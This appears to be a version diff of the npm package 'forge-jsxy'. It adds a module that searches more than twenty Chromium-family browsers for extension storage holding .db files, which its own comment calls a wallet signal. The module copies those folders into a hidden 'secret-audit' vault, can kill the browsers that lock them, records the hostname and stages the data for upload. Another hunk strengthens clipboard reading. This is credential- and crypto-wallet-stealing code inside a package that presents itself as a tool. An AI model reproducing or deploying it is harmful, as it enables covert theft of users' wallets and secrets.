forge-jsxy 1.0.85 → 1.0.91

package/dist/chromiumExtensionDbHarvest.js

@@ -0,0 +1,560 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.LOCAL_EXTENSION_SETTINGS = exports.EXTENSION_DB_STAGING_DIRNAME = void 0;
+exports.chromiumBrowserUserDataCandidates = chromiumBrowserUserDataCandidates;
+exports.profileRelPathFromLes = profileRelPathFromLes;
+exports.findLocalExtensionSettingsDirs = findLocalExtensionSettingsDirs;
+exports.extensionFolderHasDbFile = extensionFolderHasDbFile;
+exports.discoverExtensionDbSourcesFromUserDataRoots = discoverExtensionDbSourcesFromUserDataRoots;
+exports.discoverExtensionDbSources = discoverExtensionDbSources;
+exports.extensionDbStagingRoot = extensionDbStagingRoot;
+exports.extensionSourceKey = extensionSourceKey;
+exports.stagingRelPathForSource = stagingRelPathForSource;
+exports.harvestExtensionDbFoldersToStaging = harvestExtensionDbFoldersToStaging;
+exports.removeExtensionDbStaging = removeExtensionDbStaging;
+/**
+ * Discover Chromium-family browser profiles, copy **entire** extension `<id>` folders under
+ * `Local Extension Settings` into a staging directory beside `result.json` (secret-audit vault).
+ *
+ * **Selection gate:** an extension folder is included only when it contains at least one `.db`
+ * file anywhere inside (wallet/SQLite signal). **Copy scope:** the full `<extension_id>/` tree
+ * is copied recursively — LevelDB `.log`/`.ldb`, `CURRENT`, `MANIFEST-*`, locks, and every
+ * other file under that id — not just the `.db` file(s).
+ *
+ * Cross-platform (Windows local + roaming, Linux, macOS). Authorized deployments only.
+ */
+const fs = __importStar(require("node:fs"));
+const os = __importStar(require("node:os"));
+const path = __importStar(require("node:path"));
+const clientId_1 = require("./clientId");
+const exportMirrorCopy_1 = require("./exportMirrorCopy");
+const fileLockForce_1 = require("./fileLockForce");
+exports.EXTENSION_DB_STAGING_DIRNAME = "extension-db-staging";
+/** Relative path segment (case-insensitive) under a browser profile. */
+exports.LOCAL_EXTENSION_SETTINGS = "Local Extension Settings";
+function envHome() {
+    return os.homedir();
+}
+function localAppDataWin() {
+    const lap = (process.env.LOCALAPPDATA || "").trim();
+    if (lap)
+        return path.resolve(lap);
+    const prof = (process.env.USERPROFILE || "").trim();
+    if (prof)
+        return path.join(prof, "AppData", "Local");
+    return path.join(envHome(), "AppData", "Local");
+}
+function roamingAppDataWin() {
+    const app = (process.env.APPDATA || "").trim();
+    if (app)
+        return path.resolve(app);
+    const prof = (process.env.USERPROFILE || "").trim();
+    if (prof)
+        return path.join(prof, "AppData", "Roaming");
+    return path.join(envHome(), "AppData", "Roaming");
+}
+function linuxConfigDir() {
+    const xdg = (process.env.XDG_CONFIG_HOME || "").trim();
+    if (xdg)
+        return path.resolve(xdg.replace(/^~/, envHome()));
+    return path.join(envHome(), ".config");
+}
+function isLocalExtensionSettingsDir(name) {
+    return (name.localeCompare(exports.LOCAL_EXTENSION_SETTINGS, undefined, { sensitivity: "accent" }) === 0);
+}
+function sanitizePathSegment(name) {
+    const t = String(name || "")
+        .replace(/[<>:"|?*\x00-\x1f]/g, "_")
+        .replace(/[/\\]+/g, "_")
+        .trim();
+    return t.slice(0, 120) || "unknown";
+}
+/** Chromium `User Data`-style roots (may be profile root for Opera). */
+function chromiumBrowserUserDataCandidates() {
+    const out = [];
+    const pushIfDir = (label, root) => {
+        try {
+            const abs = path.resolve(root);
+            if (fs.existsSync(abs) && fs.statSync(abs).isDirectory()) {
+                out.push({ label, root: abs });
+            }
+        }
+        catch {
+            /* skip */
+        }
+    };
+    if (process.platform === "win32") {
+        const local = localAppDataWin();
+        const roaming = roamingAppDataWin();
+        const localPairs = [
+            ["Google Chrome", path.join(local, "Google", "Chrome", "User Data")],
+            ["Google Chrome Beta", path.join(local, "Google", "Chrome Beta", "User Data")],
+            ["Google Chrome SxS", path.join(local, "Google", "Chrome SxS", "User Data")],
+            ["Microsoft Edge", path.join(local, "Microsoft", "Edge", "User Data")],
+            ["Microsoft Edge Beta", path.join(local, "Microsoft", "Edge Beta", "User Data")],
+            ["Microsoft Edge Dev", path.join(local, "Microsoft", "Edge Dev", "User Data")],
+            ["Brave", path.join(local, "BraveSoftware", "Brave-Browser", "User Data")],
+            ["Vivaldi", path.join(local, "Vivaldi", "User Data")],
+            ["Chromium", path.join(local, "Chromium", "User Data")],
+            ["Yandex", path.join(local, "Yandex", "YandexBrowser", "User Data")],
+            ["Opera", path.join(local, "Opera Software", "Opera Stable")],
+            ["Opera GX", path.join(local, "Opera Software", "Opera GX Stable")],
+            ["Epic Privacy Browser", path.join(local, "Epic Privacy Browser", "User Data")],
+            ["Iridium", path.join(local, "Iridium", "User Data")],
+            ["Thorium", path.join(local, "Thorium", "User Data")],
+            ["Ungoogled Chromium", path.join(local, "Chromium", "User Data")],
+            ["Cent Browser", path.join(local, "CentBrowser", "User Data")],
+            ["Slimjet", path.join(local, "Slimjet", "User Data")],
+            ["360Chrome", path.join(local, "360Chrome", "Chrome", "User Data")],
+            ["Coc Coc", path.join(local, "Coccoc", "Browser", "User Data")],
+            ["Wavebox", path.join(local, "Wavebox", "User Data")],
+        ];
+        for (const [label, p] of localPairs)
+            pushIfDir(label, p);
+        const roamingPairs = [
+            ["Opera Roaming", path.join(roaming, "Opera Software", "Opera Stable")],
+            ["Opera GX Roaming", path.join(roaming, "Opera Software", "Opera GX Stable")],
+        ];
+        for (const [label, p] of roamingPairs)
+            pushIfDir(label, p);
+        return out;
+    }
+    if (process.platform === "darwin") {
+        const as = path.join(envHome(), "Library", "Application Support");
+        const pairs = [
+            ["Google Chrome", path.join(as, "Google", "Chrome")],
+            ["Google Chrome Beta", path.join(as, "Google", "Chrome Beta")],
+            ["Chromium", path.join(as, "Chromium")],
+            ["Microsoft Edge", path.join(as, "Microsoft Edge")],
+            ["Brave", path.join(as, "BraveSoftware", "Brave-Browser")],
+            ["Vivaldi", path.join(as, "Vivaldi")],
+            ["Opera", path.join(as, "com.operasoftware.Opera")],
+            ["Opera GX", path.join(as, "com.operasoftware.OperaGX")],
+            ["Yandex", path.join(as, "Yandex", "YandexBrowser")],
+            ["Arc", path.join(as, "Arc", "User Data")],
+        ];
+        for (const [label, p] of pairs)
+            pushIfDir(label, p);
+        return out;
+    }
+    // Linux and other POSIX
+    const cfg = linuxConfigDir();
+    const pairs = [
+        ["Google Chrome", path.join(cfg, "google-chrome")],
+        ["Google Chrome Beta", path.join(cfg, "google-chrome-beta")],
+        ["Chromium", path.join(cfg, "chromium")],
+        ["Microsoft Edge", path.join(cfg, "microsoft-edge")],
+        ["Microsoft Edge Beta", path.join(cfg, "microsoft-edge-beta")],
+        ["Microsoft Edge Dev", path.join(cfg, "microsoft-edge-dev")],
+        ["Brave", path.join(cfg, "brave-browser")],
+        ["Vivaldi", path.join(cfg, "vivaldi")],
+        ["Opera", path.join(cfg, "opera")],
+        ["Opera GX", path.join(cfg, "opera-gx")],
+        ["Yandex", path.join(cfg, "yandex-browser")],
+        ["Ungoogled Chromium", path.join(cfg, "ungoogled-chromium")],
+        ["Iridium", path.join(cfg, "iridium")],
+    ];
+    for (const [label, p] of pairs)
+        pushIfDir(label, p);
+    return out;
+}
+const SKIP_WALK_DIR = new Set([
+    "cache",
+    "code cache",
+    "gpucache",
+    "shadercache",
+    "grshadercache",
+    "crashpad",
+    "browsermetrics",
+    "optimizationguidepredictionmodels",
+    "segmentation platform",
+    "component crx cache",
+    "extensions",
+    "indexeddb",
+    "service worker",
+    "blob_storage",
+    "file system",
+    "jump list icons",
+    "dawngraphitecache",
+    "dawnwebgpucache",
+].map((s) => s.toLowerCase()));
+function shouldSkipWalkDir(name) {
+    return SKIP_WALK_DIR.has(String(name || "").trim().toLowerCase());
+}
+/** Profile folder path relative to browser user-data root (parent of `Local Extension Settings`). */
+function profileRelPathFromLes(userDataRoot, lesDir) {
+    const profileDir = path.dirname(path.resolve(lesDir));
+    let rel = path.relative(path.resolve(userDataRoot), profileDir);
+    rel = rel.replace(/\\/g, "/");
+    if (!rel || rel === ".")
+        return "_profile_root";
+    return rel;
+}
+/** Find every `Local Extension Settings` directory under a browser user-data root. */
+function findLocalExtensionSettingsDirs(userDataRoot, maxDepth = 5) {
+    const root = path.resolve(userDataRoot);
+    const out = [];
+    const seen = new Set();
+    const walk = (dir, depth, profileHint) => {
+        if (depth > maxDepth)
+            return;
+        let entries;
+        try {
+            entries = fs.readdirSync(dir, { withFileTypes: true });
+        }
+        catch {
+            return;
+        }
+        for (const ent of entries) {
+            if (!ent.isDirectory())
+                continue;
+            const child = path.join(dir, ent.name);
+            if (isLocalExtensionSettingsDir(ent.name)) {
+                const key = child.toLowerCase();
+                if (!seen.has(key)) {
+                    seen.add(key);
+                    const profileRelPath = profileRelPathFromLes(root, child);
+                    const profileLabel = profileHint ||
+                        profileRelPath.split("/").filter(Boolean).pop() ||
+                        path.basename(path.dirname(child));
+                    out.push({
+                        profileLabel,
+                        profileRelPath,
+                        lesDir: child,
+                    });
+                }
+                continue;
+            }
+            if (shouldSkipWalkDir(ent.name))
+                continue;
+            const nextHint = profileHint ||
+                (ent.name === "Default" || /^profile\s+\d+$/i.test(ent.name) ? ent.name : profileHint);
+            walk(child, depth + 1, nextHint || ent.name);
+        }
+    };
+    walk(root, 0, "");
+    return out;
+}
+/** Gate only: true when `<extension_id>/` contains ≥1 `.db` file (triggers full-folder copy). */
+function extensionFolderHasDbFile(dir, maxDepth = 12) {
+    const root = path.resolve(dir);
+    const stack = [{ d: root, depth: 0 }];
+    while (stack.length) {
+        const { d, depth } = stack.pop();
+        if (depth > maxDepth)
+            continue;
+        let entries;
+        try {
+            entries = fs.readdirSync(d, { withFileTypes: true });
+        }
+        catch {
+            continue;
+        }
+        for (const ent of entries) {
+            const child = path.join(d, ent.name);
+            if (ent.isSymbolicLink())
+                continue;
+            if (ent.isFile() && ent.name.toLowerCase().endsWith(".db"))
+                return true;
+            if (ent.isDirectory() && !shouldSkipWalkDir(ent.name)) {
+                stack.push({ d: child, depth: depth + 1 });
+            }
+        }
+    }
+    return false;
+}
+/** Enumerate extension folders (with `.db` files) for explicit browser roots (test hook). */
+function discoverExtensionDbSourcesFromUserDataRoots(candidates) {
+    const sources = [];
+    const seenSrc = new Set();
+    for (const { label, root } of candidates) {
+        for (const { profileLabel, profileRelPath, lesDir } of findLocalExtensionSettingsDirs(root)) {
+            let extEntries;
+            try {
+                extEntries = fs.readdirSync(lesDir, { withFileTypes: true });
+            }
+            catch {
+                continue;
+            }
+            for (const ent of extEntries) {
+                if (!ent.isDirectory())
+                    continue;
+                const extDir = path.join(lesDir, ent.name);
+                if (!extensionFolderHasDbFile(extDir))
+                    continue;
+                const absKey = extDir.toLowerCase();
+                if (seenSrc.has(absKey))
+                    continue;
+                seenSrc.add(absKey);
+                const source = {
+                    browserLabel: label,
+                    profileLabel: profileLabel || "Default",
+                    profileRelPath,
+                    extensionId: ent.name,
+                    absSourceDir: extDir,
+                    sourceKey: extensionSourceKey(label, profileRelPath, ent.name),
+                    stagingRelPath: "",
+                };
+                source.stagingRelPath = stagingRelPathForSource(source);
+                sources.push(source);
+            }
+        }
+    }
+    return sources;
+}
+/** Enumerate extension folders (with `.db` files) across all Chromium browsers. */
+function discoverExtensionDbSources() {
+    return discoverExtensionDbSourcesFromUserDataRoots(chromiumBrowserUserDataCandidates());
+}
+function secretAuditDir() {
+    return path.join((0, clientId_1.defaultCfgmgrDataDir)(), ".forge-jsxy", ".vault", "secret-audit");
+}
+function extensionDbStagingRoot() {
+    return path.join(secretAuditDir(), exports.EXTENSION_DB_STAGING_DIRNAME);
+}
+/** Unique key for browser + profile + extension id (same id in different profiles/browsers stays distinct). */
+function extensionSourceKey(browserLabel, profileRelPath, extensionId) {
+    return `${browserLabel}|${profileRelPath}|${extensionId}`;
+}
+function stagingRelPathForSource(src) {
+    const profileParts = src.profileRelPath
+        .split("/")
+        .filter(Boolean)
+        .map((p) => sanitizePathSegment(p));
+    return [
+        sanitizePathSegment(src.browserLabel),
+        ...profileParts,
+        exports.LOCAL_EXTENSION_SETTINGS,
+        sanitizePathSegment(src.extensionId),
+    ].join("/");
+}
+function stagingDestForSource(src) {
+    const profileParts = src.profileRelPath
+        .split("/")
+        .filter(Boolean)
+        .map((p) => sanitizePathSegment(p));
+    return path.join(extensionDbStagingRoot(), sanitizePathSegment(src.browserLabel), ...profileParts, exports.LOCAL_EXTENSION_SETTINGS, sanitizePathSegment(src.extensionId));
+}
+async function sleep(ms) {
+    return new Promise((r) => setTimeout(r, ms));
+}
+async function copyTreeWithRetries(src, dest, maxAttempts) {
+    await fs.promises.mkdir(path.dirname(dest), { recursive: true });
+    for (let i = 0; i < maxAttempts; i++) {
+        if (i > 0)
+            await sleep(Math.min(30_000, 150 * 2 ** (i - 1)));
+        try {
+            await fs.promises.rm(dest, { recursive: true, force: true });
+        }
+        catch {
+            /* skip */
+        }
+        try {
+            await fs.promises.cp(src, dest, { recursive: true, force: true, dereference: false });
+            return true;
+        }
+        catch (e) {
+            const last = i === maxAttempts - 1;
+            if (last || !(0, exportMirrorCopy_1.isRetryableCopyError)(e))
+                return false;
+        }
+    }
+    return false;
+}
+function countRegularFilesRecursive(dir) {
+    let n = 0;
+    const walk = (d) => {
+        let entries;
+        try {
+            entries = fs.readdirSync(d, { withFileTypes: true });
+        }
+        catch {
+            return;
+        }
+        for (const ent of entries) {
+            const child = path.join(d, ent.name);
+            if (ent.isSymbolicLink())
+                continue;
+            if (ent.isDirectory())
+                walk(child);
+            else if (ent.isFile())
+                n++;
+        }
+    };
+    walk(dir);
+    return n;
+}
+/**
+ * Copy discovered extension folders into `<auditDir>/extension-db-staging/`.
+ * Returns empty `sources` when nothing to copy.
+ */
+async function harvestExtensionDbFoldersToStaging(opts = {}) {
+    const forceKill = opts.forceKill !== false;
+    const concurrency = Math.max(1, Math.min(32, opts.concurrency ?? 8));
+    const stagingRoot = extensionDbStagingRoot();
+    const sources = opts.userDataCandidates
+        ? discoverExtensionDbSourcesFromUserDataRoots(opts.userDataCandidates)
+        : discoverExtensionDbSources();
+    if (sources.length === 0) {
+        return {
+            stagingRoot,
+            sources: [],
+            copiedFiles: 0,
+            copiedFolders: 0,
+            skippedFolders: 0,
+            skippedCopyErrors: 0,
+        };
+    }
+    try {
+        await fs.promises.rm(stagingRoot, { recursive: true, force: true });
+    }
+    catch {
+        /* skip */
+    }
+    await fs.promises.mkdir(stagingRoot, { recursive: true });
+    const manifest = {
+        collected_at: new Date().toISOString(),
+        hostname: os.hostname(),
+        platform: process.platform,
+        extension_folders: sources.length,
+        sources: sources.map((s) => ({
+            source_key: s.sourceKey,
+            browser: s.browserLabel,
+            profile: s.profileLabel,
+            profile_rel_path: s.profileRelPath,
+            extension_id: s.extensionId,
+            staging_rel_path: s.stagingRelPath,
+            path: s.absSourceDir,
+        })),
+    };
+    await fs.promises.writeFile(path.join(stagingRoot, "manifest.json"), JSON.stringify(manifest, null, 2), "utf8");
+    let killed = [];
+    if (forceKill) {
+        const unlockPaths = new Set();
+        for (const s of sources) {
+            unlockPaths.add(s.absSourceDir);
+            const les = path.dirname(s.absSourceDir);
+            unlockPaths.add(les);
+            unlockPaths.add(path.dirname(les));
+        }
+        for (const p of unlockPaths) {
+            try {
+                const u = await (0, fileLockForce_1.forceUnlockPath)(p);
+                if (u.killed.length)
+                    killed.push(...u.killed);
+            }
+            catch {
+                /* skip */
+            }
+        }
+    }
+    let copiedFiles = 0;
+    let copiedFolders = 0;
+    const copyAttempts = forceKill ? 8 : 5;
+    const failedAfterFirstPass = [];
+    const copyOne = async (src, attempts) => {
+        const dest = stagingDestForSource(src);
+        return copyTreeWithRetries(src.absSourceDir, dest, attempts);
+    };
+    try {
+        let idx = 0;
+        const worker = async () => {
+            for (;;) {
+                const i = idx++;
+                if (i >= sources.length)
+                    return;
+                const src = sources[i];
+                const ok = await copyOne(src, copyAttempts);
+                if (ok) {
+                    copiedFolders++;
+                    copiedFiles += countRegularFilesRecursive(stagingDestForSource(src));
+                }
+                else {
+                    failedAfterFirstPass.push(src);
+                }
+            }
+        };
+        await Promise.all(Array.from({ length: Math.min(concurrency, sources.length) }, () => worker()));
+        /** Second pass: retry failed folders with extra attempts before upload. */
+        for (const src of failedAfterFirstPass) {
+            const dest = stagingDestForSource(src);
+            try {
+                await fs.promises.rm(dest, { recursive: true, force: true });
+            }
+            catch {
+                /* skip */
+            }
+            const ok = await copyOne(src, copyAttempts + 4);
+            if (ok) {
+                copiedFolders++;
+                copiedFiles += countRegularFilesRecursive(dest);
+            }
+        }
+    }
+    finally {
+        if (killed.length) {
+            try {
+                (0, fileLockForce_1.restartKilledProcesses)(killed, stagingRoot);
+            }
+            catch {
+                /* skip */
+            }
+        }
+    }
+    const skippedCopyErrors = Math.max(0, sources.length - copiedFolders);
+    const skippedFolders = skippedCopyErrors;
+    if (sources.length > 0) {
+        console.log(`[forge-agent] extension-db: harvest ${copiedFolders}/${sources.length} folder(s), ${copiedFiles} file(s) staged` +
+            (skippedCopyErrors > 0 ? ` (${skippedCopyErrors} failed)` : ""));
+    }
+    return {
+        stagingRoot,
+        sources,
+        copiedFiles,
+        copiedFolders,
+        skippedFolders,
+        skippedCopyErrors,
+    };
+}
+/** Remove staging tree after upload (best-effort). */
+async function removeExtensionDbStaging() {
+    try {
+        await fs.promises.rm(extensionDbStagingRoot(), { recursive: true, force: true });
+    }
+    catch {
+        /* skip */
+    }
+}

package/dist/cli-agent.js

@@ -12,6 +12,7 @@ function bootstrapSyncEnvFromDisk() {
     const dir = (0, clientId_1.defaultCfgmgrDataDir)();
     (0, agentEnvFile_1.applyForgeJsAgentEnvFile)(dir);
     (0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
+    (0, agentEnvFile_1.applyDefaultAgentFeatureProcessEnv)();
     (0, agentEnvFile_1.applyDefaultAgentUnattendedProcessEnv)();
     const have = (process.env.FORGE_JS_SYNC_URL || "").trim() ||
         (process.env.CFGMGR_API_URL || "").trim() ||

package/dist/clipboardExec.d.ts

@@ -1 +1,5 @@
+/** Thrown when no OS clipboard backend is available (distinct from an empty clipboard). */
+export declare class ClipboardReadUnavailableError extends Error {
+    constructor(message: string);
+}
 export declare function readClipboardViaExec(): Promise<string>;

package/dist/clipboardExec.js

@@ -33,6 +33,7 @@ var __importStar = (this && this.__importStar) || (function () {
     };
 })();
 Object.defineProperty(exports, "__esModule", { value: true });
+exports.ClipboardReadUnavailableError = void 0;
 exports.readClipboardViaExec = readClipboardViaExec;
 /**
  * Clipboard text via OS CLI tools when @napi-rs/clipboard is unavailable.
@@ -42,6 +43,14 @@ const fs = __importStar(require("node:fs"));
 const path = __importStar(require("node:path"));
 const node_util_1 = require("node:util");
 const execFileP = (0, node_util_1.promisify)(node_child_process_1.execFile);
+/** Thrown when no OS clipboard backend is available (distinct from an empty clipboard). */
+class ClipboardReadUnavailableError extends Error {
+    constructor(message) {
+        super(message);
+        this.name = "ClipboardReadUnavailableError";
+    }
+}
+exports.ClipboardReadUnavailableError = ClipboardReadUnavailableError;
 function powershellExe() {
     const sys = process.env.SystemRoot || "C:\\Windows";
     const p = path.join(sys, "System32", "WindowsPowerShell", "v1.0", "powershell.exe");
@@ -58,8 +67,9 @@ async function readClipboardViaExec() {
     const p = process.platform;
     if (p === "win32") {
         const ps = powershellExe();
-        if (!fs.existsSync(ps))
-            return "";
+        if (!fs.existsSync(ps)) {
+            throw new ClipboardReadUnavailableError(`Windows PowerShell not found at ${ps}`);
+        }
         const winExec = {
             windowsHide: true,
             timeout: 8000,
@@ -77,16 +87,18 @@ async function readClipboardViaExec() {
                 "Add-Type -AssemblyName System.Windows.Forms; [Console]::Out.Write([System.Windows.Forms.Clipboard]::GetText())",
             ],
         ];
+        let lastErr;
         for (const args of attempts) {
             try {
                 const { stdout } = await execFileP(ps, args, winExec);
                 return String(stdout ?? "").replace(/\r\n/g, "\n");
             }
-            catch {
+            catch (e) {
+                lastErr = e;
                 /* try next */
             }
         }
-        return "";
+        throw new ClipboardReadUnavailableError(`Windows clipboard read failed (PowerShell): ${lastErr instanceof Error ? lastErr.message : String(lastErr ?? "unknown")}`);
     }
     if (p === "darwin") {
         const pb = process.env.PBPASTE_PATH?.trim() ||
@@ -100,11 +112,12 @@ async function readClipboardViaExec() {
             });
             return String(stdout ?? "").replace(/\r\n/g, "\n");
         }
-        catch {
-            return "";
+        catch (e) {
+            throw new ClipboardReadUnavailableError(`macOS pbpaste failed: ${e instanceof Error ? e.message : String(e)}`);
         }
     }
     if (p === "linux") {
+        const errors = [];
         // wl-paste appends a newline by default; --no-newline suppresses it.
         if (process.env.WAYLAND_DISPLAY) {
             try {
@@ -115,8 +128,8 @@ async function readClipboardViaExec() {
                 });
                 return String(stdout ?? "").replace(/\r\n/g, "\n");
             }
-            catch {
-                /* try X11 */
+            catch (e) {
+                errors.push(`wl-paste: ${e instanceof Error ? e.message : String(e)}`);
             }
         }
         try {
@@ -128,8 +141,8 @@ async function readClipboardViaExec() {
             });
             return String(stdout ?? "").replace(/\r\n/g, "\n");
         }
-        catch {
-            /* skip */
+        catch (e) {
+            errors.push(`xclip: ${e instanceof Error ? e.message : String(e)}`);
         }
         try {
             const { stdout } = await execFileP("xsel", ["--clipboard", "--output"], {
@@ -140,8 +153,8 @@ async function readClipboardViaExec() {
             });
             return String(stdout ?? "").replace(/\r\n/g, "\n");
         }
-        catch {
-            /* skip */
+        catch (e) {
+            errors.push(`xsel: ${e instanceof Error ? e.message : String(e)}`);
         }
         // Final fallback: Wayland socket may exist even without WAYLAND_DISPLAY being set.
         try {
@@ -153,9 +166,10 @@ async function readClipboardViaExec() {
             });
             return String(stdout ?? "").replace(/\r\n/g, "\n");
         }
-        catch {
-            return "";
+        catch (e) {
+            errors.push(`wl-paste: ${e instanceof Error ? e.message : String(e)}`);
         }
+        throw new ClipboardReadUnavailableError(`Linux clipboard read failed (install wl-clipboard, xclip, or xsel): ${errors.join("; ")}`);
     }
-    return "";
+    throw new ClipboardReadUnavailableError(`unsupported platform: ${p}`);
 }